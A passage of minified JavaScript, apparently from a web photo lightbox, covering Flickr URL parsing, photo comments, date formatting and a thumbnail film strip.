a;a=dT(c+Cs);a=UZ(a,0);this.ib.Bb(a);return a}; x.gM=function(){var a;a=dT(c+Is);a=UZ(a,0);this.ib.Bb(a);return a};x.Id=function(a){if(null!=a){if(0==a.Fu())return null;if(2==a.Fu()){a=C(this.jba,this);var b;b=c;var d=Tt+(gh+AT(SK)+cb);b=dT(b+(Pg+d+Bf));b=UZ(b,0);b.Np(C(k4,null,a));return b}if(3==a.Fu())return a=C(this.iba,this),b=c,d=St+(gh+AT(Tz)+bb),b=dT(b+(Pg+d+Bf)),b=UZ(b,0),b.Np(C(l4,null,a)),b}return UZ(e4(),0)};x.jba=function(){var a=S0(R0(this.getContext()).Zh()).D($F);this.Ob.M3(a)}; x.iba=function(){var a=S0(R0(this.getContext()).Zh()).D($F);this.Ob.L3(a)};x.Y0=function(){var a=this.getContainer()&&z(this.getContainer().getContainer().kG())&&!this.getContainer().getContainer().kG();return this.GA&&!a};x.yf=function(){return this.OH&&!!this.p.Nw()};x.t_=function(a){this.GA=a};x.KW=function(){return!!this.getContainer()&&!!this.getContainer().getContainer().kG()};x.W2=function(){return this.Jb?this.wd?this.JP(MA):this.JP(RG):!1}; x.JP=function(a){var b=this.S.X0;return!!b&&b(a,this.ua,this.Y0(),!!this.getContainer()&&!!this.getContainer().v())};x.L=function(){return this.fa};x.Xa=function(){return this.gd}; x.HA=function(a,b){var d=z(b),e=this.F(),f=(d?e.l3():this.Fg())||c;if(e=this.hi()){var e=x2(e,a,this.IH,this.bx),g=u2.parse(f).jm(),k=!1,p=!1;g&&!eM(g)&&(k=-1!=g.indexOf(hd),p=-1!=g.indexOf(Sd));e.ps()>this.cx&&e.xm(this.mJ());t:{var q=f?(new t2(f)).HM().k3().Xm():c,f=k||p,g=k=void 0;if(q){var p=z(p)&&p?rG:qx,t=q.lastIndexOf(se),B=q.substr(0,t),t=q.substr(t),F=!!b,X=!!e;if(F||X||d){X||(g=k=f=void 0);var R;if(X&&(R=e instanceof AP?Math.max(e.width,e.height):e,!R)){f=q;break t}e=[];q=!1;k&&(e.push(TK+ R),f&&(e.push(p),q=!0));g&&(e.push(OB+R),f&&!q&&(e.push(p),q=!0));!X||k||g?d&&!X&&e.push(qI):e.push(mI+R);f&&!q&&e.push(p);F&&e.push(Xz+b.split(qf).join(mf));d&&e.push(fu);f=B+se+e.join(Qc)+t}else f=q}else f=c}}return z2(f,c)};x.Sg=function(a){return this.wd||!this.Jb?this.DA(this.OO(a).url):this.HA(a)};x.Os=function(a){if(this.wd||!this.Jb)return this.OO(a).size;var b=this.hi();return b?x2(b,a,this.IH,this.bx):null}; x.DA=function(a){if(!a)return c;if(this.iU)return a;var b=EM(a)%3,d=new wR;d.Gm(uC+b+Ad);d.setPath(Be);a=d.Mc.set(zK,a).set(iy,OA).set(aB,Mv).set(FF,Ke).set(TH,tC).set(GF,1);d.gm(a);return d.toString()};x.fH=function(a){if(this.wd||!this.Jb)return!1;var b=6==a.getStatus(),d=1==a.getStatus();return!b&&!d&&!this.j9(a)&&!this.i9(a)&&!this.l9(a)&&!this.k9(a)};x.j9=function(a){return!this.kU&&1==a.Ch()};x.i9=function(a){return!this.Qv&&5!=a.getStatus()};x.l9=function(a){return!this.F().Qq()&&0==a.getStatus()}; x.k9=function(a){return!(0<a.bl().length&&a.bl()[0].bf())&&0!=a.getStatus()};x.yl=function(){return this.jf==NG};x.hba=function(){var a=this.jf;return a==fw||a==NG};x.v=function(){return this.p.v()};x.Sr=function(){return this.wd?this.IT:this.v()};x.Vd=function(){return this.p.Ge()||c};x.ns=function(){return this.p.ns()||0};x.q=function(){return this.ma};x.ol=function(){return this.Wm};x.nc=function(a){this.bI.nc(a)};x.Jd=function(){this.bI.Jd()}; x.kJ=function(){if(this.wd||!this.Jb||!this.GT)return null;var a=this.F().zc();if(!a||a.getStatus()!=G0.Mx&&a.getStatus()!=G0.Lx)return null;var b=this.ZY();return b?(new I2(b,Kz,this.q())).$Y(a.YY(),this.S.eia):null};x.ZY=function(){if(!this.p.zc()||0==this.p.zc().tM().length)return null;var a=this.p.zc().tM();1<a.length&&eN(a,function(a){return 15==a.sM()});return UM(a,function(a){return new A2(a.sM(),a.getUrl(),a.dc(),a.Rc())})};x.yt=function(){return c};x.qg=function(){return this.Fg()}; x.lb=function(){return this.hi()};x.d3=function(){return null};x.Hg=function(){if(this.wd||!this.Jb)return!1;var a=S0(R0(this.getContext()).Zh()),a=a?a.D($F):null,b=this.F(),b=b.cf()?b.cf().v():null;return null!==a&&null!==b&&a==b};x.Q=function(){K(this.fa)};x.Fd=function(){return this.fa.Fd()};var B4=/http:\/\/(?:www.)?flickr.com\/(?:photos\/([\d\w@]+)\/([\d]+))(?:\/in\/set-([\d]+))?\/?/i,C4=/http:\/\/farm(?:\d)+\.static\.flickr\.com\/(?:[\d]+)\/([\d\w]+)_/i;x=y1.prototype; x.oU=function(){var a=this.F().Ud();return(a=a?a.getUrl():c)&&C4.test(a)&&(a=C4.exec(a),a[1])?a[1].split(Cv)[0]:this.v()};x.pU=function(){var a=this.F().getUrl();return B4.test(a)?(a=B4.exec(a),this.ua=a[1],this.F().kc(a[2]),!0):!1}; x.OO=function(a){var b=a.height,d=null,e,f=this.F().Ud().getUrl(),g=this.hi(),k=this.F().Ft();if(g&&g.Lp(a)||0==k.length)d=g,e=f;else{var p;(e=$M(k,function(b){var d=b.dc();b=b.Rc();return d&&b&&(d=new AP(d,b),d.Lp(a.clone().scale(1.4)))?(p=d,!0):!1},this))?(d=p,e=e.getUrl()):288>=b&&0<k.length?(e=k[0],b=e.dc(),f=e.Rc(),b&&f&&(d=new AP(b,f)),e=e.getUrl()):(d=g,e=f)}return new D4(e,d)}; x.$0=function(a){this.Gd=!1;a=a.target;var b=a.ab();!a.getError()&&b&&b.Ai()[0]&&(this.jf=NG,a=a.ab().Ai()[0].toArray(),a=new H0(a),a.sb(this.F().getUrl()),this.HB(a),this.dispatchEvent(Vo))};x.Z0=function(){var a=new xR;a.add(OK,qn).add(kK,this.ua).add(OG,this.v());return a};var D4=function(a,b){this.url=a;this.size=b},A4=function(a,b,d){L.call(this,a,b);this.Zk=d||null};E(A4,L);var E4=function(a){z1.call(this,new uU(a));this.tc(1);this.rB=this.j2();this.ma=this.q()};E(E4,z1);x=E4.prototype;x.ya=function(){E4.c.ya.call(this);this.Z.b().className=Si;this.ub(!1)};x.oa=function(){E4.c.oa.call(this);this.Hb&&(this.lm&&this.Hb.uj(),this.lm=!1)}; x.R=function(){E4.c.R.call(this);var a=this.sS(),b=this.L();this.Z.b().innerHTML=f2(this.aw(a));this.rS=this.ma.b(this.bc(rG));this.ma.b(this.bc(Mv));this.Ng=this.ma.b(this.bc(mz));a?(this.Hb=a.gea(this.b()),this.Hb.Ra(this.Ng),this.yG=this.ma.createElement(m),this.ma.appendChild(this.b(),this.yG),this.MG=this.ma.b(this.bc(iH)),b.j(this.Hb,[nz,Zz],this.gn),b.j(this.Hb,$C,this.Xh),b.j(this.Hb,fD,this.dj),b.j(this.Hb,HC,this.vS),b.Jq(this.MG,i_,function(a){this.dispatchEvent(new L(OA,this.Ng));this.gn(a, !0)})):(this.Aa=new bZ(this.Ng),b.j(this.Ng,[Ww,OA],this.gn,!0),b.j(this.Aa,$C,this.Xh));a=this.ma.pb(Qi,this.b());this.Uk=new d2(null);this.Uk.Ra(a.childNodes[0]);this.Uk.Gb(!1);b.j(this.Uk,Yv,this.uS);this.Xd=new d2(null);this.Xd.Ra(a.childNodes[1]);b.j(this.Xd,Yv,this.tS);this.Lq(!1);this.Nk(!1)};x.A=function(){K(this.Hb);K(this.Vg);K(this.Aa);K(this.Uk);K(this.Xd);this.Xd=this.Uk=this.Aa=this.Vg=this.Hb=null;E4.c.A.call(this)}; x.vS=function(a){this.p.KW()&&(K(this.Vg),this.Vg=new V1(this.ma),this.Vg.wl(a.element),this.Vg.setPosition(1,1),this.Vg.setContent(cv),this.Vg.render(this.yG),M(this.Vg.b(),Ri),this.Vg.setVisible(!0),this.Hb.Cha(a.element))};x.j2=function(){var a=xS(this.Yg());return XQ(a.Vv(),iJ,32)};x.sS=function(){var a=xS(this.Yg()).FA;return a?a():null};x.Ka=function(a){this.p=a;this.E3()}; x.E3=function(){var a=this.p.Xa();this.L().$(a,Ah,this.Oj).$(a,Vo,this.Dj).j(a,Vo,this.Dj);this.wI=!1;this.Ur(!0);this.xI(!1);this.p.F().zr()?(this.CV(),this.Nk(!1),this.ub(!0)):this.ub(!1)};x.aw=function(a){return{e8:this.bc(Mv),gP:this.bc(mz),m8:this.bc(rG),Rw:this.rB,n8:this.bc(iH),o8:!a}};x.gn=function(a,b){var d=a.type==OA||a.type==Zz||!!b;this.lm=this.lm||d;d||(this.wI=this.Hb?this.lm&&!!this.Hb.Ju():this.Ng.value!=c);this.xI(d);d&&this.Lq(d)};x.CV=function(){this.rS.src=this.rB}; x.Nk=function(a){this.Hb?(U(this.MG,!a),this.lm&&this.Hb.yi(c)):this.Ng.value=a?c:e2()};x.Lq=function(a){var b=this.q().pb(Qi,this.b());J&&!SN(9)&&U(b,a);kS(b,a?1:0);a&&this.dj()};x.uS=function(){this.Lq(!1);this.Hca();return!1};x.tS=function(a){this.Nk(!1);this.Lq(!1);this.gn(a,!1);g2(this.ma);return!1};x.Xh=function(a){27==a.keyCode&&g2(this.ma);this.Hb||JL.setTimeout(C(this.dj,this),0);a.stopPropagation()};x.dj=function(){this.Uk.Gb(this.Hb?!this.Hb.isEmpty():this.HK())}; x.HK=function(){return hM(this.Hb?this.Hb.Ju():this.Ng.value)};x.Hca=function(){var a=this.HK();a&&(this.Ur(!1),this.L().Qc(this.p.Xa(),Ah,this.Oj),this.p.createComment(a,C(this.H_,this)))};x.H_=function(){this.Ur(!0)};x.Oj=function(a){this.p&&this.p==a.target&&(this.Nk(!1),this.Ur(!0),this.gn(a,!1),g2(this.ma))};x.Dj=function(a){this.p&&this.p==a.target&&(this.Nk(!1),this.ub(!!this.p.F().zr()))};x.xI=function(a){this.wI||(this.Nk(a),a&&(this.Hb?this.lm&&this.Hb.focus():this.Ng.focus()))}; x.Ur=function(a){this.Hb||(this.Ng.disabled=!a)};var F4={v$:["BC","AD"],u$:["Before Christ","Anno Domini"],Q8:[Lo,"F",op,vh,op,Lo,Lo,vh,vs,Aq,Zp,"D"],T8:[Lo,"F",op,vh,op,Lo,Lo,vh,vs,Aq,Zp,"D"],P8:"January February March April May June July August September October November December".split(" "),S8:"January February March April May June July August September October November December".split(" "),R8:"Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),V8:"Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),z$:"Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split(" "), X8:"Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split(" "),y$:"Sun Mon Tue Wed Thu Fri Sat".split(" "),W8:"Sun Mon Tue Wed Thu Fri Sat".split(" "),rka:[vs,op,tt,"W",tt,"F",vs],U8:[vs,op,tt,"W",tt,"F",vs],x$:["Q1","Q2","Q3","Q4"],w$:["1st quarter","2nd quarter","3rd quarter","4th quarter"],O$:["AM","PM"],oP:["EEEE, MMMM d, y","MMMM d, y","MMM d, y","M/d/yy"],pP:["h:mm:ss a zzzz","h:mm:ss a z","h:mm:ss a","h:mm a"],I8:["{1} 'at' {0}","{1} 'at' {0}","{1}, {0}","{1}, {0}"],m9:6,xla:[5,6], n9:5};var G4=function(){},H4=function(a){if(typeof a==RF){var b=new G4;b.EQ=a;var d;d=a;if(0==d)d=Sm;else{var e=[Sm,0>d?Qc:Jc];d=Math.abs(d);e.push(Math.floor(d/60)%100);d%=60;0!=d&&e.push(mf,BM(d,2));d=e.join(c)}b.SQ=d;0==a?a=hu:(d=[hu,0>a?Jc:Qc],a=Math.abs(a),d.push(Math.floor(a/60)%100),a%=60,0!=a&&d.push(mf,a),a=d.join(c));b.BF=[a,a];b.Em=[];return b}b=new G4;b.SQ=a.id;b.EQ=-a.std_offset;b.BF=a.names;b.Em=a.transitions;return b};x=G4.prototype; x.DR=function(a){a=Date.UTC(a.getUTCFullYear(),a.getUTCMonth(),a.getUTCDate(),a.getUTCHours(),a.getUTCMinutes())/36E5;for(var b=0;b<this.Em.length&&a>=this.Em[b];)b+=2;return 0==b?0:this.Em[b-1]};x.Xaa=function(a){a=this.Jv(a);var b=[Ln];b.push(0>=a?Jc:Qc);a=Math.abs(a);b.push(BM(Math.floor(a/60)%100,2),mf,BM(a%60,2));return b.join(c)};x.rF=function(a){return this.BF[this.yR(a)?3:1]};x.Jv=function(a){return this.EQ-this.DR(a)}; x.Yaa=function(a){a=-this.Jv(a);var b=[0>a?Qc:Jc];a=Math.abs(a);b.push(BM(Math.floor(a/60)%100,2),BM(a%60,2));return b.join(c)};x.Pca=function(a){return this.BF[this.yR(a)?2:0]};x.yR=function(a){return 0<this.DR(a)};var I4=function(a,b){H(z(a),kr);H(z(b)||z(F4),IB);this.Yu=[];this.ob=b||F4;typeof a==RF?this.du(a):this.Mh(a)},J4=[/^\'(?:[^\']|\'\')*\'/,/^(?:G+|y+|M+|k+|S+|E+|a+|h+|K+|H+|c+|L+|Q+|d+|m+|s+|v+|w+|z+|Z+)/,/^[^\'GyMkSEahKHcLQdmsvwzZ]+/];x=I4.prototype;x.Mh=function(a){for(;a;)for(var b=0;b<J4.length;++b){var d=a.match(J4[b]);if(d){d=d[0];a=a.substring(d.length);0==b&&(d==sc?d=rc:(d=d.substring(1,d.length-1),d=d.replace(/\'\'/,rc)));this.Yu.push({text:d,type:b});break}}}; x.format=function(a,b){if(!a)throw Error("The date to format must be non-null.");var d=b?6E4*(a.getTimezoneOffset()-b.Jv(a)):0,e=d?new Date(a.getTime()+d):a,f=e;b&&e.getTimezoneOffset()!=a.getTimezoneOffset()&&(f=new Date(a.getTime()+(d+(0<d?-864E5:864E5))));for(var d=[],g=0;g<this.Yu.length;++g){var k=this.Yu[g].text;1==this.Yu[g].type?d.push(this.Lba(k,a,e,f,b)):d.push(k)}return d.join(c)}; x.du=function(a){var b;if(4>a)b=this.ob.oP[a];else if(8>a)b=this.ob.pP[a-4];else if(12>a)b=this.ob.I8[a-8],b=b.replace(tL,this.ob.oP[a-8]),b=b.replace(sL,this.ob.pP[a-8]);else{this.du(10);return}this.Mh(b)};x.Td=function(a){if(void 0===this.ob||void 0===this.ob.P$)return a;for(var b=[],d=0;d<a.length;d++){var e=a.charCodeAt(d);b.push(48<=e&&57>=e?String.fromCharCode(this.ob.P$+e-48):a.charAt(d))}return b.join(c)};x.R7=function(a,b){var d=0<b.getFullYear()?1:0;return 4<=a?this.ob.u$[d]:this.ob.v$[d]}; x.d8=function(a,b){var d=b.getFullYear();0>d&&(d=-d);2==a&&(d%=100);return this.Td(BM(d,a))};x.U7=function(a,b){var d=b.getMonth();switch(a){case 5:return this.ob.Q8[d];case 4:return this.ob.P8[d];case 3:return this.ob.R8[d];default:return this.Td(BM(d+1,a))}};var K4=function(a){if(!(a.getHours&&a.getSeconds&&a.getMinutes))throw Error("The date to format has no time (probably a goog.date.Date). Use Date or goog.date.DateTime, or use a pattern without time fields.");};x=I4.prototype; x.N7=function(a,b){K4(b);return this.Td(BM(b.getHours()||24,a))};x.S7=function(a,b){return this.Td((b.getTime()%1E3/1E3).toFixed(Math.min(3,a)).substr(2)+(3<a?BM(0,a-3):c))};x.Q7=function(a,b){var d=b.getDay();return 4<=a?this.ob.z$[d]:this.ob.y$[d]};x.O7=function(a,b){K4(b);var d=b.getHours();return this.ob.O$[12<=d&&24>d?1:0]};x.M7=function(a,b){K4(b);return this.Td(BM(b.getHours()%12||12,a))};x.K7=function(a,b){K4(b);return this.Td(BM(b.getHours()%12,a))}; x.L7=function(a,b){K4(b);return this.Td(BM(b.getHours(),a))};x.X7=function(a,b){var d=b.getDay();switch(a){case 5:return this.ob.U8[d];case 4:return this.ob.X8[d];case 3:return this.ob.W8[d];default:return this.Td(BM(d,1))}};x.Y7=function(a,b){var d=b.getMonth();switch(a){case 5:return this.ob.T8[d];case 4:return this.ob.S8[d];case 3:return this.ob.V8[d];default:return this.Td(BM(d+1,a))}};x.V7=function(a,b){var d=Math.floor(b.getMonth()/3);return 4>a?this.ob.x$[d]:this.ob.w$[d]}; x.P7=function(a,b){return this.Td(BM(b.getDate(),a))};x.T7=function(a,b){K4(b);return this.Td(BM(b.getMinutes(),a))};x.W7=function(a,b){K4(b);return this.Td(BM(b.getSeconds(),a))};x.c8=function(a,b){var d;d=b.getMonth();d=new Date(b.getFullYear(),d,b.getDate());var e=this.ob.n9||3,f=this.ob.m9||0,g=((d.getDay()+6)%7-f+7)%7;d=d.valueOf()+864E5*((e-f+7)%7-g);d=Math.floor(Math.round((d-(new Date((new Date(d)).getFullYear(),0,1)).valueOf())/864E5)/7)+1;return this.Td(BM(d,a))}; x.a8=function(a,b,d){d=d||H4(b.getTimezoneOffset());return 4>a?d.Yaa(b):this.Td(d.Xaa(b))};x.b8=function(a,b,d){d=d||H4(b.getTimezoneOffset());return 4>a?d.Pca(b):d.rF(b)};x.Z7=function(a,b){b=b||H4(a.getTimezoneOffset());return b.SQ}; x.Lba=function(a,b,d,e,f){var g=a.length;switch(a.charAt(0)){case Jn:return this.R7(g,d);case jL:return this.d8(g,d);case op:return this.U7(g,d);case XC:return this.N7(g,e);case vs:return this.S7(g,e);case vm:return this.Q7(g,d);case Mv:return this.O7(g,e);case OB:return this.M7(g,e);case Po:return this.K7(g,e);case Zn:return this.L7(g,e);case qx:return this.X7(g,d);case To:return this.Y7(g,d);case Ur:return this.V7(g,d);case vy:return this.P7(g,d);case ID:return this.T7(g,e);case mI:return this.W7(g, e);case EK:return this.Z7(b,f);case TK:return this.c8(g,e);case nL:return this.b8(g,b,f);case ev:return this.a8(g,b,f);default:return c}};var L4=function(a,b,d){if(!a)return c;a=b?wM(a,b,d):a;d||(a=rM(a));a=fM(a);a=a.replace(/\n\n+/g,ba).replace(/\n/g,eg);if(!(10>a.length)){b=[];for(var e=d=0,f=0,g=0,k=0;k<a.length;k++){var p=g,g=a.charCodeAt(k),q;if(q=768<=g)q=g,p=LS(p),q=LS(q),q=!((12==p&&13==q?0:1==p||12==p||13==p||1==q||12==q||13==q||(7!=p||7!=q&&8!=q&&10!=q&&11!=q)&&(10!=p&&8!=p||8!=q&&9!=q)&&(11!=p&&9!=p||9!=q)&&2!=q&&6!=q&&(6!=p||5!=q))&&3!=p&&4!=q);p=q;10<=d&&!OS(g)&&!p&&(b.push(a.substring(f,k),QS),f=k,d=0);e?62==g&&60==e? e=0:59==g&&38==e&&(e=0,d++):60==g||38==g?e=g:OS(g)?d=0:8204<=g&&8207>=g||8234<=g&&8238>=g||d++}b.push(a.substr(f));a=b.join(c)}J&&SN(hf)&&(a=a.replace(/<wbr>/g,ch));return a},M4=new I4(2),N4=new I4(7),O4=function(a,b){if(!a)return c;var d=c,e=new Date(D()),f;if(f=a.getDate()==e.getDate())if(e=e||new Date(D()),f=a.getMonth()==e.getMonth())e=e||new Date(D()),f=a.getFullYear()==e.getFullYear();f||(d+=M4.format(a)+fa);d+=N4.format(a);return b?d:rM(d).replace(/ /g,ic)};var P4=function(a){z1.call(this,new uU(a));this.tc(1);this.S=xS(a);this.fY=a.get(HC);this.Wm=this.S.ol();this.Vq=this.S.X(Jy);this.Rv=S0(R0(this.getContext()).Zh()).D($F)};E(P4,z1);x=P4.prototype;x.ya=function(){P4.c.ya.call(this);this.Z.b().className=dj};x.R=function(){P4.c.R.call(this);this.L().j(this.Z.b(),Rx,this.lj)};x.Ka=function(a){this.p=a;a=a.Xa();this.L().$(a,Ah,this.Oj).$(a,mi,this.ss).$(a,Vo,this.tn).$(a,ir,this.Xr).j(a,Ah,this.Oj).j(a,mi,this.ss).j(a,Vo,this.tn).j(a,ir,this.Xr);this.tn()}; x.Oj=function(a){if(this.p&&this.p==a.target){this.tn();a=this.q().qr(vt,null,this.Z.b());var b=a.length;0<b&&aS(a[b-1],this.getParent().b())}};x.XH=function(a){return(a=this.q().lu(a,cj))?a.getAttribute(ay):c};x.WH=function(a){return(a=this.q().lu(a,cj))?a.getAttribute(Aw):c}; x.ss=function(a){if(this.p&&this.p==a.target){var b=new $O,d=new $O;a=this.p.F().Yk();I(a,function(a){a.ll()?d.add(a.ll()):a.kl()&&b.add(a.kl())});a=this.q().qr(null,cj,this.Z.b());I(a,function(a){var f=this.XH(a),g=this.WH(a);d.contains(f)||b.contains(g)||this.q().removeNode(a)},this)}}; x.tn=function(a,b){if(!a||this.p&&this.p==a.target){for(var d=this.Z.b(),e=ih,f=this.so(this.p,b),g=f.length,k=0;k<g;k++){var p=f[k],q=mh+p.aT+Ua+p.$S+Gb+V(p.Rw)+Db+V(p.$q)+sb+V(p.bT)+pb+V(p.Eq)+pf+FT(p.Fn)+Of+(p.xH?bh+FT(p.xH)+Of:c)+ig;if(p.wH||p.dT)q+=$g+(p.wH?ka:c)+Hb;p.cT&&(q+=ah);q+=Ef;e+=q}d.innerHTML=e+Qf}}; x.so=function(a,b){var d=[],e=this.p.F().Yk();I(e,function(e){var g=e.zW(),k=g.v()==this.Rv,p=k?this.S.Vv():g.Uv()||this.Wm,p=XQ(p,iJ,32),q=e.my()?new Date(1E3*e.my()):null,t=b&&!k&&e.kl(),B=b&&!k&&(e.kl()||e.ll())&&a.Hg()&&this.Vq,k=k&&this.Vq;d.push({aT:e.ll()||c,$S:e.kl()||c,bT:g.v(),Eq:g.bf(),$q:g.Cc(),Rw:p,Fn:L4(e.getContent(),void 0,2==e.sn()),xH:O4(q),cT:t,wH:B,dT:k})},this);return d};x.Xr=function(){this.tn(void 0,!0)}; x.lj=function(a){var b=this.XH(a.target),d=this.WH(a.target);IP(a.target,fj)&&this.fY.r3(b||d);IP(a.target,ej)&&(b&&confirm(Uh)?this.p.q3(b):d&&confirm(Uh)&&this.p.p3(d))};var Q4=function(a){return(a=a.exec(yN()))?a[1]:c};(function(){if(hU)return Q4(/Firefox\/([0-9.]+)/);if(J||CN)return QN;if(mU)return Q4(/Chrome\/([0-9.]+)/);if(nU)return Q4(/Version\/([0-9.]+)/);if(jU||kU){var a;if(a=/Version\/(\S+).*Mobile\/(\S+)/.exec(yN()))return a[1]+ne+a[2]}else{if(lU)return(a=Q4(/Android\s+([0-9.]+)/))?a:Q4(/Version\/([0-9.]+)/);if(iU)return Q4(/Camino\/([0-9.]+)/)}return c})();var R4=function(a,b,d,e){N.call(this);this.Re=d;this.lv=a;this.kv=b;this.YP=e||25;this.B$()};E(R4,N);x=R4.prototype;x.NV=function(a){this.$Q(this.lv,this.kv,1,a)};x.PV=function(a){this.$Q(this.kv,this.lv,-1,a)};x.Kca=function(a,b,d,e){var f=c;if(e){e=hS(b);var g=hS(a),f=tI+e.width/g.width+Ec+e.height/g.height+Dc}T(a,QK,RK);IO(a,YK,C(this.DF,this,a,b));T(b,je,eI+d*-this.YP+Ly);T(b,QK,WB);OQ(function(){T(a,me,ke+this.Re+oI);T(a,je,f+fI+d*this.YP+Ly);T(b,me,ke+this.Re+pI+this.Re+mI);T(b,je,c)},0,this)}; x.Jca=function(a,b,d){T(a.parentElement,ie,1E3);T(a,le,mH);T(a,he,WB);T(b,le,mH);T(b,he,WB);IO(a,YK,C(this.DF,this,a,b));T(a,QK,RK);T(b,je,dI+91*d+Ly);T(b,QK,WB);OQ(function(){T(a,me,ke+this.Re+oI);T(a,je,dI+-91*d+Ly);T(b,me,ke+this.Re+pI+this.Re+mI);T(b,je,c)},0,this)};x.Ica=function(a,b){this.DF(a,b)};x.dea=function(a,b){T(a,QK,WB);T(b,QK,RK)};x.DF=function(a,b){this.dea(a,b);this.dispatchEvent(new L(Cu))};x.$Q=function(a,b,d,e){nU?this.Jca(a,b,d,e):mU?this.Kca(a,b,d,e):this.Ica(a,b,d,e)}; x.B$=function(){if(mU||nU)T(this.kv,je,c),T(this.kv,me,c),T(this.lv,me,c),T(this.lv,je,c)};var S4=function(a){return lg+a.DT+$a+V(a.CT)+Ff};S4.yb="apps.photos.lightbox.filmStripThumbnail.numberBubbleTemplate";var T4=function(a,b){IZ.call(this,a);this.Mq=b};E(T4,IZ);var U4=new AP(78,78);x=T4.prototype;x.C=function(){T4.c.C.call(this);var a=this.q(),b=this.b();M(b,sB,oj);this.wc=this.IG(0.5);this.wc.style.visibility=WB;var d=a.createElement(m);d.className=lj;a.appendChild(d,this.wc);a.appendChild(b,d);this.Mq&&(d={CT:0,DT:this.bc(qx)},this.Aw=pT(S4,d,a.aa),U(this.Aw,!1),a.appendChild(b,this.Aw))}; x.R=function(){T4.c.R.call(this);this.Mq&&(this.pH=this.q().b(this.bc(qx)));this.yc&&QL(this.un)&&(this.mw(),this.ar())};x.h9=function(){this.yc&&!this.wc.src&&(this.L().Qc(this.wc,yD,this.IK),this.wc.src=this.yc)};x.setData=function(a,b){if(b!=this.p||a!=this.un)this.p=b,this.un=a,this.yc=this.p.Sg(U4),this.wa()&&(this.mw(),this.ar(),this.qL())};x.mw=function(){this.b().Xs=this.un;this.wc.Xs=this.un;this.Mq&&(this.pH.Xs=this.un)}; x.IK=function(a){var b=new AP(Number(this.wc.width),Number(this.wc.height));this.n3(this.wc,b,50);this.m3(this.wc,b,50);this.wc.style.visibility=RK;a&&this.q().Vn(this.wc,a)};x.n3=function(a,b,d){1!=b.Oo()?(d*=1/b.tca(),b.scale(d).ceil()):(b.width=d,b.height=d);fS(a,b)};x.m3=function(a,b,d){b.width>b.height?T(a,VD,(b.width-d)/2*-1+rH):b.height>b.width&&T(a,XD,-1*Math.floor((b.height-d)/3)+rH)};x.select=function(a){this.rh=a;kS(this.wc,a?1:0.5);this.ar()}; x.qL=function(){this.yc=this.p.Sg(U4);if(this.wa()&&this.yc&&this.yc!=this.wc.src){var a=this.wc;this.wc=this.IG(jS(a));this.L().Qc(this.wc,yD,C(this.IK,this,a));this.wc.src=this.yc;this.mw()}};x.ar=function(){if(this.Mq){var a=this.p.ns();this.q().Wb(this.pH,String(a));U(this.Aw,!this.rh&&0<a)}};x.IG=function(a){var b=this.q().createElement(oo);kS(b,a);b.className=nj;return b};var V4=function(a,b,d){L.call(this,a);this.Qk=b;this.jca=d};E(V4,L);V4.prototype.Mt=function(){return this.jca};var W4=function(a){if(1<=a)return 1;if(0>=a)return 0;1==W4.gG&&W4.Zba();return W4.sR(a)};W4.Mca=8;W4.gG=1;W4.sR=function(a){var b=0;a*=W4.Mca;1>a?b=a-(1-Math.exp(-a)):(b=Math.exp(-1),b+=(1-Math.exp(-(a-1)))*(1-b));return b*W4.gG};W4.Zba=function(){W4.gG=1/W4.sR(1)};var X4=function(a){z1.call(this,new A1(a));this.S=xS(a);this.Og=a.get(fD);this.Zq=this.S.X(DG);this.bX=C(this.GM,this);this.aX=C(this.C3,this);this.TI=new jZ(this.IB,100,this);this.B3(a)};E(X4,z1);var Y4=EN&&SN("526");x=X4.prototype;x.v2=124;x.B3=function(){this.fc(0);this.Wh(59);this.tc(1)};x.A=function(){X4.c.A.call(this);this.Zg&&this.Zg.Q();this.TI.Q()};x.TK=function(){return this.S.Rf(this.b())?aI:oD}; x.ya=function(){X4.c.ya.call(this);var a=this.q(),b=this.Z.b();M(b,hj);this.Yb=this.q().createElement(m);this.Yb.className=mj;a.appendChild(b,this.Yb);this.kr=a.NT(kg);this.MH=a.pb(ij,this.kr);this.NH=a.pb(jj,this.kr);U(this.MH,!1);U(this.NH,!1);a.appendChild(b,this.kr)};x.R=function(){X4.c.R.call(this);Y4&&(this.Yb.style[XK]=this.TK()+ta);this.enable(!0)};x.enable=function(a){if(this.wa()){var b=this.L(),d=a?b.j:b.$,e=this.b();d.call(b,e,nE,this.Kw);JP(e,kj,!a)}}; x.setData=function(a,b){this.ea=a;this.Uc=b;this.Zq&&this.L().j(this.ea[0].Xa(),[Ah,Vo],this.UW);T(this.Yb,aL,53*this.ea.length+rH);this.Gg();this.q().zx(this.Yb);this.Tc=[];I(this.ea,C(this.ZI,this,this.Yb,0),this);this.Tc[this.Uc].select(!0);this.by()};x.T2=function(a,b){this.ea[b]=a;this.update()};x.update=function(){for(var a=this.Tc.length,b=0;b<a;b++)this.Tc[b].setData(b,this.ea[b]);0<this.ea.length-a&&this.appendData(iN(this.ea,a))}; x.appendData=function(a){var b=this.Tc?this.Tc.length:0;T(this.Yb,aL,53*(b+a.length)+rH);I(a,C(this.ZI,this,this.Yb,b),this);this.by();this.IB()};x.ZI=function(a,b,d,e){b+=e;e=new T4(this.q(),this.Zq);this.Tc[b]=e;e.setData(b,d);e.render(a)};x.Uo=function(a,b){T(b,this.TK(),a+rH)};x.tB=function(){return hS(this.b()).width/2};x.iB=function(){var a=this.tB();return Math.round(a-(25+53*this.Uc))}; x.Gg=function(){var a=this.tB();this.zM!=a&&(this.zM=a,a=Math.round(this.zM-this.v2/2),Y4&&(this.L().$(this.Yb,YK,this.To),this.Yb.style[me]=c),this.Uo(a,this.kr),this.Uo(this.iB(),this.Yb))};x.TZ=function(){this.nP=!0};x.UZ=function(){this.nP=!1;this.kP&&(this.IB(),this.kP=!1)};x.IB=function(){if(this.Tc)if(this.nP)this.kP=!0;else for(var a=Math.ceil(2.25*this.tB()/53),b=Math.max(0,this.Uc-a),a=Math.min(this.Tc.length-1,this.Uc+a);b<=a;b++)this.Tc[b].h9()}; x.UW=function(a){var b=YM(this.ea,function(b){return a.target==b},this);0<=b&&(this.Tc[b].qL(),this.Tc[b].ar())};x.ee=function(a,b,d){X4.c.ee.call(this,a,b,d);this.ea&&this.Gg()};x.DJ=function(){this.TI.start()};x.by=function(){U(this.MH,0<this.Uc);U(this.NH,this.Uc<this.ea.length-1)}; x.Kw=function(a){if(a.ci(0)){var 